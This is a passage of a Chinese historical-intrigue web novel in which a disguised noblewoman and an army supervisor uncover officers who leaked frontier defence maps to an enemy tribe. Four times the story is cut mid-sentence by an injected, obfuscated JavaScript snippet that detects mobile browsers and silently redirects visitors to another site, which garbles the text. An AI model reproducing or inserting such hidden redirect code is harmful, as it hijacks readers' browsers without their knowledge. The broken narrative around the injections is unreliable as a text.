努力压下心头的陌生情绪，宣珩说回正事：“今日所遇绝非普通流寇。罗万卿再次失手，许是会恼羞成怒。不若还是着人送你——” “过了驼陵，再行几日便到河西地界，”姜芮断然否决他的提议，“若要安全，不如捱到进城。待见了长兄，再从长计议。” 她含笑指了指宣珩，又道：“宣大人此番受了惊，到河西前，还是莫要离开自己的监军马车为好。至于区区一个琴师，想必还不至于让罗管事费心。” 若非宣珩日日去寻琴师下棋解闷，恐怕罗万卿还找不到这么好的机会。让流寇袭击队尾的辎重，可比偷袭队伍中心的监军人马要容易多了。 宣珩抿唇片刻，仍是忧心：“今日你纵马疾行，不似普通琴师。罗万卿若是起疑，追查你的身份……” “塞外儿女会骑马，又不是什么新鲜事，”姜芮不以为意，“遇到流寇，琴师受了惊到处乱跑，幸得监军相救才平安无事。唔，听起来还是段佳话呢。” 她眼中闪过促狭的笑意，继续劝道：“反正罗万卿没亲眼看到，宣公子舌灿莲花，不由得他不信。” 知她已打定了主意，宣珩只得妥协。他嘱咐阿竹此后无论如何都不能离开自家小姐身边，又点了两个亲卫到姜芮身侧。 见他仍眼含忧色，姜芮倏然一笑，朝他柔声道：“今日宣大人胜利在望，可惜被无端搅了局。好在棋谱不算难记，若来日大人仍有兴致，随时可以继续。” 宣珩深深地看了她一眼，温声应了句“好”。 目送他转身离开，姜芮瞧着两个被留下的亲卫，含笑欠身致谢：“麻烦两位大哥了。” 她如今容貌太盛，两个亲卫都不自在地侧过头去。其中一个年轻小伙嘴里嘟囔了几句，然后像是下了什么决心，梗着脖子说：“宣大人已经定下亲事了，你、你安分点，别乱想什么啊！” 这些亲卫是姜太傅送来的，多多少少都受过姜家的恩惠。小伙这些天怎么想都觉得别扭，终于忍不住开了口。 姜芮脚步一顿：“哦？可我并未听大人提起呀。” 她一派纯真的样子，眸光流转，似有些不信。小伙便急了：“我骗你作甚！” 另一个稍年长些的亲卫便拍了拍他，又带了几分傲气同姜芮说：“宣大人已同姜太傅家千金定了亲，全京城的人都知道。姜小姐德才兼备、贤良淑德，世家公子排着队都见不上她一面。宣大人是走了运——” 他似察觉有些不妥，随即轻咳了两声，又继续道：“总之，姜小姐身份金贵。虞姑娘既然聪慧，就莫要想些不该想的。” 姜芮似笑非笑地看着两人，半晌才微叹了口气：“这番话，怎的不见二位大哥同宣大人说？” 她垂眸侧身，看不清表情。心知不该为难两个忠心的亲卫，亦知此事同宣珩其实也没什么干系，但姜芮每每听到类似的话，总会涌起几分不平。 想改变的事情太多，任重而道远。 不去看两人的神色变换，姜芮钻进马车，思忖着眼前的事。不知郑九州带的精兵是否已到了岷关，也不知前线如今战况几何。 好在行军的最后几日十分顺利。抵达峄城的那天，姜芃亲自出城来迎。此处离边关尚有些距离，是河西的大后方。但若岷关也失守，峄城许是就保不住了。 因此，当宣珩踏入这座河西重镇时，感受到的是扑面而来的肃穆与压抑。 姜芃倒是沉稳自若。他已适应了如今的战时状态，不再像最初送密报时那般焦躁慌乱。 近距离打量着未来的妹夫，他甚至还有心情说些闲话：“听闻宣大人此行路遇知音，危难之际也不忘带在身边。不知姜某可有幸，也能见见这位虞姑娘？” 宣珩正喝着茶，冷不防听到这么一句，差点呛到咳嗽。 亲卫中，一名年轻小伙有些心虚地移开眼。他虽没胆量直接劝谏宣大人，但可以让姜小姐的长兄说上两句。反正要送简报，这也是姜大人关心之事。 罗万卿很快明白过来，摇着扇子笑道：“姜大人有所不知，这位虞姑娘确实姿容绝代。宣大人念念不忘，也是情有可原。” 他跟着火上浇油，宣珩只得苦笑。他心中只希望这位姜大人一会儿能继续保持沉稳的样子，别让罗万卿看出破绽。 没过多久，琴师仍是一袭红衣，款款走入席间。她仍是弹的梓城那日的曲子，妆容也一如那日般艳丽。姜芃睁大了眼看了半晌，终于慢慢转头看向宣珩，眼中尽是震惊。 宣珩不动声色地按下他的手，微笑颔首，又抬手给他倒了杯茶压惊。 一曲终了，姜芃终于平复了心情，回到平日敦厚谦恭的模样：“不错，这位，咳，这位虞姑娘，当真是惊才绝艳。方才一曲，如听仙乐，难怪宣大人如此爱惜。” 宣珩含笑附和，又胡诌了些音律器乐的鬼话。罗万卿在旁听得面露讶色，但两人夸得情真意切，他便只能腹诽：啧，毕竟自己乡野出身，不懂这帮世家子弟的品味。 毕竟是战时，除了这位美艳琴师，整个接风宴可谓简陋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929974|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜芃本也意不在此，待送走了一干人等，他终于寻了机会，借口带宣珩熟悉环境，七弯八拐到了后院小屋。 阿竹见了他忙行了个大礼，他叹了口气，挥手让人起身：“不必如此，此行辛苦你了。” 姜小姐要做的事情，便是姜太傅也阻拦不住，更何况阿竹。而且此事并非儿戏，姜芮此行定是得了父亲应允。说出来有些丢人，当姜芃认出自家妹妹的那刻，心中竟有种松了口气的感觉。 河西这摊事情，他才摸索了几月，就察觉其中牵扯多方。他不可能时时去信京中，有些事情思忖许久，仍是拿不定主意。 姜芮见两人进屋，便含笑打趣：“往日总说大哥敦厚，没想到说起瞎话来，竟比宣公子还逼真。” 要不是她自知琴技如何，方才差点就要迷失在两人的吹捧之中了。 姜芃讪讪低头，温声解释：“许久没听你抚琴了，确实是觉得惊喜。我也不是……嗯，也不全是在说瞎话。” 他似是怕宣珩尴尬，又道：“宣公子机敏过人、随机应变，此行承蒙照应。” 宣珩忙坐直了身，连声说“不敢当”。他将那日流寇来袭的事简要说了说，又将这一路同罗万卿的周旋一一道来。姜芃听得眉头皱起，沉吟良久，才开口道：“我到河西这几个月，对罗万卿和郑九州都有所耳闻。” 单从才干来看，这两人都称得上是军中能人。他们均是底层出身，在河西这片战场上拼杀，一步步走到今日。虽风格迥异，但两人是多年旧友，配合默契。 罗万卿是幼时随父母迁居到河西的，郑九州则是土生土长的河西人。按理说，两人立下战功，同河西这片土地感情深厚。无论怎么看，都不似是挑起此次战事的人。 但话又说回来，潜关、临关、掖关丢得这么快，很难说是寒旄部凭一己之力就能做到的。周守成前去守岷关前，曾说自己怀疑是三关的布防图遭人泄露。 姜芮蹙眉问道：“郑九州是何时到的？现下在何处？” “十日前就到了。现下正同周将军一起镇守岷关，商议不日便要收复三关。” 宣珩有些意外：“这么早？” 若邓忠想借题发挥，便该让周守成继续失利，届时郑九州带着援军赶到，才好体现己方之功。 反正只要他军权在手，即便真丢了岷关、失了峄城，仍可退据河东一线。待天寒地冻，敌军人困马乏，自可寻机反攻，收复失地。河西屡有战事，以前也不是没出现过这样的拉锯。 屋中寂静了片刻，姜芮开口问：“那临阵倒戈的五支番军，大哥了解多少？” 姜芃斟酌许久，才缓缓道：“那五支番军，是去年冬天才来投诚的。当时军中曾有人提出异议，是周将军做主收编了他们。” 宣珩一惊，同姜芮对视一眼，心渐渐沉了下去。无论是勾结外敌，还是用人不察，这些罪名都比大意失三关要严重得多。 12. 番军 河西一带并不适合产粮，虽有屯田，但主要还是仰仗中央的供给。近年来，各地屡有收不上粮的情况，到了河西将士这边，直接的感受就是发饷的日子总有拖延。 番军领的饷少，投诚时又自带盔甲武器。因此每当粮饷延误时，总有流言说要解散些正规军，要不就是削减粮饷，变得与番军一样。 原本番军同正规军并无太多矛盾，彼此井水不犯河水。有时一起征战回来，将士间甚至还能增进些情谊。可如今到了争粮的时候，隔阂便渐渐加深了。去年冬天来投诚的那五支番军，便是因此而遭到许多将领的反对。 宣珩不解：“既如此，周将军又为何坚持收编这些番军？” 姜芃叹了口气：“这便是驻守河西的难处了。” 这些番军没了去处，兜兜转转，多半还是会袭击河西百姓，掠夺粮草。他们虽不成气候，但很难尽数剿灭。而且其他部落虎视眈眈，稍不留神，反倒顾此失彼。 其实这些投诚来的番军要求不多，又没什么心理包袱，真打起仗来勇猛异常。以往年景好的时候，将士们其实乐得花些口粮养着。 只是如今，家家都没什么余粮。 姜芮摩挲着手腕，抿唇不言。她早知河西的这些隐忧，因此前月会同赵参军提及。而现下的另一个麻烦是，余下的这些番军不好处置。 将士们心有疑虑，去岷关便不会带上他们。周将军凭着素来的威望，让那些番军首领们暂时缴了械，又同意派正规军把守番军营地。如此一来，更是人心浮动，也非长久之计。 况且此次寒旄部来势汹汹，要守住岷关，军力颇有些吃紧。而且，寒旄部的新首领有点本事，已笼络了不少部落人心，在番人中很有号召力。 姜芃犹豫片刻，还是说出了自己最大的担忧：“我这些时日一直在想……若当真是周将军看走眼了呢？” 宣珩脸色微变，沉默片刻后，方才开口道：“现在下结论还为时尚早。” “周将军镇守河西多年，既然他疑心此次连失三关是因布防图泄露，定有其道理。但是，莫说是这些只管听令冲锋的番军，便是普通将领，也接触不到三关的布防图。此为其一。” “其二，那五支番军虽临阵倒戈，但三关的损失有限。若是处心积虑来做内应，似是有些杀鸡用牛刀。若是临时起意，他们到河西还不足半年，便是番人再不讲究，如此反复无常也不太合常理。” 他话音刚落，便见姜芮含笑颔首。宣公子忽然有些羞赧，不自在地朝姜芃望去：“姜大人觉得呢？” 姜芃沉吟片刻，点头应道：“宣大人说的在理。我这几日总忧心若真是周将军用人不察，邓太尉落井下石之际，我等难以应付。却是越想越偏了。” “大哥所虑不无道理，”姜芮语气淡淡，“无论三关因何而失，五支番军因何而叛，细究起来，周将军都难脱干系。” “而且，怀疑的种子已经种下。只消稍稍用力，周家经营多年的格局就会崩坏。届时，邓忠手握漠北、河西两方重兵，可就真的毫无顾忌了。” 姜芃心头一跳，忍不住问：“婉婉，你可是已有了主意？” 方才姜芮浑身冷肃，眼底却是他熟悉的淡定从容。他近日来的忧虑得了肯定，心里却莫名多了几分底气。 姜芮闻言轻笑，反问宣珩：“宣公子名士风流，京中人人追捧。不知到了这河西，那些番人可也买账么？” 宣珩眼皮一跳，苦笑道：“我这张脸，怕是不怎么合他们胃口。” 宣大人是圣上钦点的监军，看起来同河西并无关联。他若能讨得那些番人的欢心，许是能比姜芃问出更多东西来。只是他毫无军旅经验，怕是做不到谢凝那般同将士们谈笑风生。 看出他的顾虑，姜芮眼中闪过促狭的笑意，语气却十分正经：“宣公子像对坊间姑娘们那样，去哄那些番人便是了。” 也许宣珩自己并未察觉，他虽容貌过盛，言谈举止间却偏有种亲切感。京中的姑娘们也是见过世面的，这么多公子哥逢场作戏，唯独见了他还是会脸红心跳，平白生出几分偏爱来。 宣珩已听惯了她这般揶揄自己，还未说什么，姜芃却尴尬地轻咳一声。再细细一咂摸，姜大人的神色就变得微妙起来。 “咳，那明日，我便带宣大人去番军营地。” 姜芮却摇头：“大哥另有重任在身。岷关事急，大哥帮衬下罗管事，助他明日便带队西行吧。” 姜芃点头应了。支走罗万卿，他们行事就方便许多。 见宣珩脸上还带着几分苦恼，姜芮又道：“宣公子明日辛苦，我便替监军大人查一查郑九州的帐吧。” 她安排得明明白白，宣珩也只得应声起身：“那我这就去着人取账册。” 待他告辞出门，姜芃看着自家妹妹，欲言又止。上巳节后没多久，他便来河西赴任，既没见着宣家提亲，也没看到婚书聘礼。就是这位宣二公子，也多是靠书信往来才有些了解。 今日一见，倒与原本想象的有些不同。 嗯，确实是姿容绝代，也确实是机敏过人。但总感觉……方才是婉婉在调戏人家？ 被自己这个想法震了一下，姜芃心中百转千回，也不知到底是喜是忧。 “大哥还有事？”姜芮斜睨了他一眼，漫不经心地问。 “婉婉，你此次冒险出京，可是担心宣公子？” 姜芮干脆地“嗯”了一声。 长兄的脸色变得更古怪了。他犹犹豫豫地问：“那你同他……” “已经定了聘，就等着完婚了。”姜芮答得一本正经。 姜芃发愁地看了她一眼，絮絮叨叨起来：“婉婉，你真的中意他？我是说，宣公子确实，呃，青年才俊，但你方才也说了，这京中的姑娘们……” “咳，我是说——我原想着，待过几年，局势稳定了，宣尚书通情达理，许是可以同他谈和离。到时你再挑个中意的……” 其实他还想接着说，听闻谢凝重回朝堂，说不定解了心结，还能再续前缘。但眼见姜芮脸色愈发不耐，他便识相地收住了话头。 “大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929975|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥若能有一半的心思花在自己的亲事上，母亲或许神清气爽，倒好少喝几副药。” 姜芃讪讪地垂下头。 姜芮微叹了口气，无奈道：“宣珩此行势单力薄，时间紧迫也来不及做太多布置。我冒险跟来，不单为他，亦是想替你分忧。” “至于这门亲事，我中意得很。大哥不必想东想西，安心准备贺礼便是。” 说到这里，姜芮察觉自己有些不悦。先是阿姝，再是长兄，为何一个个都觉得自己不该喜欢这门亲事？再怎么说，宣珩都是她亲手挑的夫君。就算真是个美貌废物，她也不至于还没完婚就已经想着和离。 宣珩会不会也这么觉得？ 她心念一动，暗忖着待河西事毕，回京之后得尽快完婚。若让宣家觉得联姻脆弱，可就平白生出事端来了。 姜芃感觉她并没有理解自己说的重点在哪里。但她既然说了“中意”，做兄长的也只能应一句“如此甚好”。 想来想去，他又补充道：“婉婉，若是日后他伤了你心，我同父亲定不饶他。” 伤心？ 如今联盟已箭在弦上，若宣珩临阵脱逃，她也不介意用些手段。想起那日在醉吟舫的对话，姜芮倏然一笑：“若真如此，我自会拿刀架他脖子上。大哥不必忧心。” 直觉这说的大抵不是一回事，但看妹妹气势依旧，姜芃觉得自己确实不必忧心这个。毕竟常被嫌弃优柔寡断、心慈手软的人，是自己而非杀伐决断的姜小姐。 可怜宣大人兢兢业业地去讨账本，莫名打了好几个喷嚏。今年的秋意来得比往年更早一些，他看着阴沉沉的天色，忧心忡忡。 翌日，三人各自行动起来。 姜芮让阿竹守在门口，自己打起十二分的精神，面对堆了一屋子的账册票据。她卸了钗环，松松绾了个发髻，披着件宽大的袍子，赤足在屋中走来走去。 这段时日扮作美艳琴师，着实有些累人。如今任务繁重，她却感觉整个人轻快起来。 另一边，宣珩在罗万卿面前敷衍了几句，就把剩余的事情尽数推给了姜芃。他不知自己要如何像哄坊间姑娘那样去哄那些番军将士，思来想去，最后藏了坛河西常见的烧酒，孤身进了军营。 许是他这张脸比他自己想的更招人喜欢些，如此赔了数坛酒进去，倒还真让他问出了点东西。 今日趁着夜色，宣公子带着微醺的醉意，在阿竹微妙的目光下，径直进了姜小姐的账房。 按说宣公子这些年饮酒纵乐，酒量应是不错。但京中佳酿不比河西烈酒，他一人同那些郁闷的番人连喝几日，便是再清醒的脑子也变得有些轻飘飘的。 见他进来，姜芮拢了拢衣襟，又皱了皱鼻子。宣珩便愣愣地站在门口，心中懊恼：怎的如此心急，没想着换身衣服再漱个口？ “坐。”姜芮倒了茶，抬头见他还杵在原地，只得出声唤他。 宣公子便乖巧地在桌前坐下，慢慢把整杯热茶都喝了。感觉自己清醒了些，他组织了下语言，开口道：“番军之中，有些传闻。” 13. 岷关 与正规军一样，这些番军其实也在忧心粮饷。他们领的饷本就少，作战又更拼命，初到河西时不觉得，时间久了，便也生出几分不甘来。 这两年，粮饷总有延迟，他们自然也感觉到了危机。同正规军一样，他们也疑心自己不知何时便会被遣出河西。 过惯了河西安居的日子，又有了家业，再想回到部落之间，谈何容易。 河西虽有收编番军的惯例，但番人大体上还是自行管理。周将军军务繁重，不是经常能见到的。这些不安，除了他们相互之间发发牢骚之外，便只能与交接粮草的郑偏将提。 郑偏将帐下还有个善解人意的罗管事，不似他那铁面无情的上司，有时会透露些消息给他们。 比如说，全国粮食都吃紧，怕是真得削减粮饷。比如说，粮饷拖延的日子越来越长，或许并不全是因为调度时耽搁了。再比如说，军中有好些将领，当面指责周将军不该一直收编番军。 “那些番人还说，去年冬天来投诚的几支番军，就是想来讨口饭吃。只是他们总说，河西的衣食，并不如他们原先的那般好。” 美貌青年的眼神有些朦胧，口齿却十分清晰。他嗓音好听，这会儿一字一句慢慢说来，莫名有些让人心痒。姜芮饶有兴致地听着，等他说出自己的结论。 “我猜，罗万卿是使了些手段，骗那五支番军不久就要拿不到粮饷。若郑九州真与寒旄部的新首领有来往，还可以让寒旄部递些消息，说些精诚团结、既往不咎的话，诱他们倒戈。” 说完，宣珩慢慢蹙起了眉，因着眸光潋滟，显得有些委屈：“可惜这些番人的话，许是做不得证词。” 姜芮轻轻抚掌叹道：“不愧是宣二公子，便是到了河西番军这里，也是手到擒来。” 宣珩幽怨地看了她一眼，垂头喃喃：“我听姜小姐的话，大抵是把这辈子的河西烈酒都喝尽了。” 忍不住轻笑出声，姜芮给他续了杯茶，又好心地同他分享自己的消息：“宣公子不必忧心，我亦查得了些线索，可与这些番人的话相互应证。” 她查了几日的账册票据，发现郑九州有意拖延给那五支番军的粮饷。原本延迟五日的，便拖成半月，原本半月的就成了一月。 这些年粮饷本就屡有延迟，因此大家说起来时，都是一样的抱怨。那五支番军来河西时日不长，只当这是常态。而粮草在路上耽搁的时间一长，损耗不知怎的也跟着上去了。那些番人说河西的衣食不如预想，实是因为他们拿到手的已打了折扣。 此时若罗万卿同他们暗示说，这衣食可能一日不如一日，还可能是因为受了什么正规军将领的授意，这些番军会生出不如调头回去的念头，也就不足为奇了。 他们没有家业拖累，又有新首领的保证，临阵倒戈自是比原先的这些番军要容易得多。 “木已成舟，接下来该怎么办？” 姜芮收拾着账册，语气轻快：“这些确实算不得铁证，如今要想扳回一局，我们只能去趟岷关。” 宣珩骤然坐直了身：“你也要去？” “怎么？监军大人不许？” 宣珩好声好气，生怕她又乔装跟来：“前线太过危险，姜小姐千金之躯，坐镇后方就好。” 姜小姐却不吃这套：“若郑九州真的与虎谋皮，岷关怕是还要生变。后方有长兄在，不少我这一个。” 宣珩还待再劝，姜芮又温声道：“再者说来，军营乏味，我去了还能陪大人下棋解闷。” 明知她这会儿柔情小意是在哄自己，但许是河西的烈酒麻痹了舌头，宣珩咬牙看了她半晌，硬是没能说出个“不”字。 监军尚且如此，姜大人的反对自然也是毫无用处。美艳琴师换了身低调的装扮，随着监军亲卫一起奔赴岷关。 亲卫们已知晓了姜芮身份。那个年轻小伙面如死灰，守在她身侧时目不斜视，连回话时都带了颤音。姜芮心觉好笑，只得安抚了他几句，让他莫要在人前露出破绽。 到岷关时，所有人都感受到了肃杀的气氛。寒旄部集结了大军压在阵前，已对峙了数日。 周守成年近花甲，但精神矍铄，见到宣珩便亲切地拍了拍他的肩，差点把监军大人拍坐到地上。他经历过大风大浪，眼下虽有些棘手，但对守住岷关颇有信心。 马大刀和赵盛也在，朝宣珩心照不宣地颔首致意。郑九州仍是面无表情的样子，冷眼看罗万卿同监军寒暄。 “听说宣大人此行，还把虞姑娘带上了？”罗万卿轻摇折扇，凑近了问宣珩。 他声音不大，但周围的人皆听见了。宣珩尴尬地清了清喉咙，小声回应：“有盘棋未下完，实在心痒。还望回头莫要在姜大人面前提起。” 罗万卿露出了然的笑容，连声说：“这是自然。” 他又殷切地说来帮忙安置，被宣珩糊弄了回去。他们低声细语地相互试探，郑九州在一边若有所思，眸光愈冷。 夜幕降临时，宣大人抱着棋盘，鬼鬼祟祟地溜进了琴师的帐中。阿竹见了他，自觉地退出门去，与门口的亲卫们一起数星星。 “刚到军营第一夜，监军便按耐不住来寻人消遣。这传出去可不怎么好听。” 姜芮一边摆着遭遇流寇时的那盘棋局，一边随口打趣。 “我这一路连上前线都要带着美人，怎么传都好听不了，”宣珩盯着棋盘，应得随意，“倒是今日罗万卿似是有所怀疑，你万事小心。” 姜芮不以为意：“寒旄部没有见好就收，大抵是想坐地起价，近日定会同他联络。宣大人初来乍到，只有罗管事算半个熟人，便是日日跟在他身侧，也不显奇怪。” 她一心二用，手下便有些迟疑。宣珩拈了黑子，同她一起复盘。 姜芮面露微讶，抬头瞧了他一眼，见他眉头紧锁，便问：“可有不妥？” “以静制动，并无不妥，”宣珩放下棋子，语气迟疑，“只是即便捉了郑九州和罗万卿，仍不能解岷关的僵局。” 河西守军中出了这样大的纰漏，周守成若不能迅速收复失地，怕是连将功折罪都谈不上了。朝中已有攻讦河西边防的声音，邓忠大抵在等一个弹劾的好时机。 姜芮抿唇不语，默默将棋局摆完，才沉声道：“此事倒也未必没有转机。” 寒旄部的这位新首领颇有些想法，也许不是不能谈谈。只不过……她看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929976|192789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣珩片刻，又道：“尚有时间，且再观察几日。” 她随即拈了白子，目露狡黠笑意：“今夜宣公子既然来了，便先认真下完这局吧。” 帐外偶尔传来远处的狼嚎，帐中烛光昏暗，只照亮了一方棋盘，两人的面容半隐在暗中。宣珩本是盘中占优，现下到了收官的时候，却被逼出一身薄汗。 一个时辰后，宣公子恨恨地盯着棋局，再次投子认输。 姜芮心情愉快，难得安慰道：“续局我先落子，占了些便宜。若依当日情形，宣公子此局应有小胜。” 话虽如此，她收官阶段力挽狂澜，咬着每一处不放，让宣珩大受震撼，也算输得心服口服。恋恋不舍地站起身来，宣公子掷下豪言壮语，下局定是要赢一次。 可惜第二日，前线便起了变化。敌军调兵频繁，己方严阵以待。宣珩从早到晚跟着罗万卿，无暇再去寻琴师解闷。罗管事有苦难言，倒是风水轮流转。 今日好不容易哄了监军去歇一晚，罗万卿敛了眉目，不动声色地在营间转悠。他今早在帐前拾到一只死去的乌鸦，心知这是寒旄部送来的催命符。 支走身边的人后，罗管事独自趁着夜色，一路晃到了营房边缘的僻静处。来接头的仍是上回那个憨厚车夫，月光下依稀能辨别出些番人的样貌。 “东西呢？” 罗万卿咬了咬牙：“岷关布防图岂是如此易得之物，说拿就拿？再等几天吧。” 车夫嗤笑一声，毫不客气：“我们首领说了，不能再等了。你们没有诚意——” “怎的是我们没有诚意！” 罗万卿低吼一声，又慌张地四下张望，随即定了定神，低声恨恨道：“原本不是说好了只要三关粮草吗？如今粮草已得，是你们还不撤军！” “三关粮草换的是五支叛军，”车夫似是看傻子般看他，“你要的文书，我们首领已经给了。这可是笔大买卖，那三个小关口怎么够？” 他目露凶相：“废话少说，拿岷关的布防图来。否则就别怪我们首领翻脸了。” 罗万卿索性两手一摊：“做不到就是做不到，你不妨现在杀了我好了。” 车夫上下打量了他片刻，嘿嘿一笑：“我们首领说了，没有岷关全境的，拿五营庄堡的也行。这总可以——” 他忽然脸色一变，扬手掷出一把铁蒺藜，扑棱棱地尽数没入罗万卿背后的矮树丛中。夜色中闪过几道白色的影子，伴着小动物的悲鸣和四窜的窸窣声。 罗万卿被他激得心脏狂跳，回过神来低声骂道：“做什么！” “替大人多长个心眼罢了，”车夫满不在乎地笑了笑，“方才有些动静，还以为是大人露了馅。” “总之，明日此时，我来取五营庄堡的布防图。至于那三关，你们想要，就凭本事来拿吧。” 撂下狠话之后，车夫兀自转身消失在夜色中。罗万卿恨恨盯着那方向片刻，忽然汗毛倒竖，快步朝回赶去。他亲眼见过那车夫身手了得，若方才当真是有人…… 罗万卿不敢往下想。 几乎是小跑着赶到琴师帐外，他扬手一挥，朝一众亲卫笑得阴森：“让开，我有事找监军面议。” 14. 涉险 远处传来呼啸的风声。天气渐凉了。 琴师帐前，亲卫们面面相觑，随即让出一条道来。罗万卿狐疑地看了看他们，伸手掀开了门帘。 摇曳的烛光下，监军大人和美艳琴师规规矩矩地坐在棋盘两边。 瞧见他进来，宣珩面露惊讶：“罗大人，这是怎么了？” 罗万卿目不转睛地看着眼前的两个人。宣珩仍穿着傍晚分别时的那套衣衫，手中拈着枚黑子，正待落下。琴师安静地垂下头，双手轻轻扯着裙边。 他快速地扫了眼棋盘。黑白交错，对战正酣。乍一看不分胜负，看来这琴师棋艺确实不错。 啧，难道这段时日，这位宣公子真的只是在同美人弹琴下棋？ 正思忖间，宣珩已神色关切地朝他走来：“罗大人？可是出了什么事？怎的脸色如此差？” 罗万卿缓缓吐出一口气，勉强笑道：“不是什么急事，就是来同大人说一声，明日一早将军帐前议事，今夜早些歇息为好。” 宣珩似是心虚地朝琴师瞥了一眼，感激地拱手道谢。待将人送出帐去，他又观察了片刻，方才同亲卫们点了点头，转身回到帐中。 “可以了。” 听到他这句话，棋盘之下的矮桌下忽的钻出个一身黑衣的小童。阿竹快速除下夜行衣，一边伶俐地同两人讲起今晚看到的事情。 他年纪虽小，但跟随姜芮多年，很是机灵。虽然没完全听明白罗万卿同那车夫的对话，但仍是一字不漏地记在心里。 一口气把那些对话背完，他又补充了句：“那个车夫身手真好，要不是我缩成一团，差点就被他打中了。” 姜芮笑眯眯地揉了揉他发顶：“阿竹今夜立了大功。” 小童脸颊微红，磕磕巴巴应了声，随即看了宣珩一眼，自觉地抱着衣服出去了。 姜芮缓缓收起笑容。她敛了眉目，指尖摩挲着一枚白子，盯着棋盘出神。宣珩坐回她对面，低声道：“近日敌军调兵频繁，确是有一支部署在五营庄堡附近。若是失了此处，南部的四堡亦岌岌可危。” 室内一片寂静。 半晌，他忍不住去唤姜芮：“如何？可要找周将军他们商议，明夜抓个现行？” 姜芮揉了揉眉心，沉声道：“寒旄部聚集了这么多人，粮草压力甚大。即便拿不到布防图，也定会大力攻打五营庄堡。只要拿下南部这些堡，里面的粮草大抵够他们过完这个冬天。” “周将军经验丰富，他既说了有把握，那死守岷关也未尝不可。但我忧心，邓忠或许不会给我们太多时间。” 她顿了顿，似是下定了决心，目光灼灼地看着眼前的人：“宣公子……可愿试试剑走偏锋？” 宣珩心头突的一跳，模模糊糊想到了些什么。他头一次从姜芮的眼中看到犹疑，脊背不自觉便挺得笔直。 没有沉默太久，美貌青年倏然露出浅笑：“听凭姜小姐调遣。” 那夜的棋局终究还是没能下完。宣公子从美人帐中走出时，已是更深露重。深深吸了一口裹了秋意的空气，他回眸看了会儿昏暗灯光下的模糊人影，随即转过身，步履沉稳地朝将军营帐走去。 三日后，敌军多点开花，突袭沿线数个哨口堡垒。五营庄堡战事最急，守军发信求援。宣珩自告奋勇领了支队伍，奔赴五营庄堡支援。 翌日凌晨，五营庄堡击退敌军。但监军为掩护士兵撤退，不幸被俘，生死未知。周将军面色铁青，下令全员整装，加强守备。 美艳琴师终日待在帐内，自己同自己下棋。有时她摩挲着琴弦，不经意间拨出几个音来，却是无端惊了守在门口的小童，怯生生地掀了帘子问她“可还好么”。 姜芮觉得自己没什么不好的。 五营庄堡并未失陷，罗万卿明显感到意外。就连一直面无表情的郑九州，也隐隐露出焦虑之相。 这几日，赵盛寻机来见了她两次，每次都是好消息。 布防图泄露一事已基本查清细节。若所料不错，今夜罗万卿又要去见那个车夫。他们已做了布置，就等着瓮中捉鳖。 斗转参横，秋风瑟瑟。 罗万卿总觉得背后发毛，走得一步三回头。甫一见到那个车夫，他便急急开口：“五营庄堡的布防图不会有错，你们没打下来，可不能怨我们！” 车夫冷哼一声，伸出一只手。 “做什么？这回又想要什么？”罗万卿不自觉地后退一步。 却见那车夫抬起头，狠狠将手往下一压，大喝一声：“拿下！” 罗万卿惊骇万分，这才发现那哪是什么车夫，分明是马大刀扮的。他环顾四周，已被悄然涌上的士兵们包围。 喃喃自语了几句，他忽然发了狠，指着围上来的士兵们喊：“你们莫要被他骗了！我手上有周守成同寒旄部私下勾连的证据，马大刀他是周守成的亲信，想要借机杀人灭口！” “是么？” 周守成面沉如水，身后跟着的士兵们手执火把，将这一片地方照得通明。 他似苍老了几岁，眉眼间略显疲态，说话却仍声如洪钟：“那些证据，可是此人送给你的？” 罗万卿看着已被困成粽子般的车夫，讷讷不得声。目光游移之际，他看见郑九州双手被缚身后，一言不发地被押到人前。 双膝终于无力地跪了下去。他同郑九州，一步错步步错，终是一败涂地。 原本，他们只是想要将那些番军赶走。他们在这片土地洒了数十年的血与汗，年年都在同那些异族拼死拼活。凭什么这些番人调转枪头，摇身一变就能领这河西的粮草？他们甚至还跟自己抱怨粮饷不公，真是何其荒唐！ 当寒旄部的探子找上自己时，他便生出一个念头：既然周家喜欢以夷制夷，我们为何不能借夷之力？ 邓太尉早年间便同他们说过，只要周家失势，河西守军就是他们的。如今，他们离那位置也就一步之遥。去年那五支番军来得正好，傻傻的还跟自己套近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 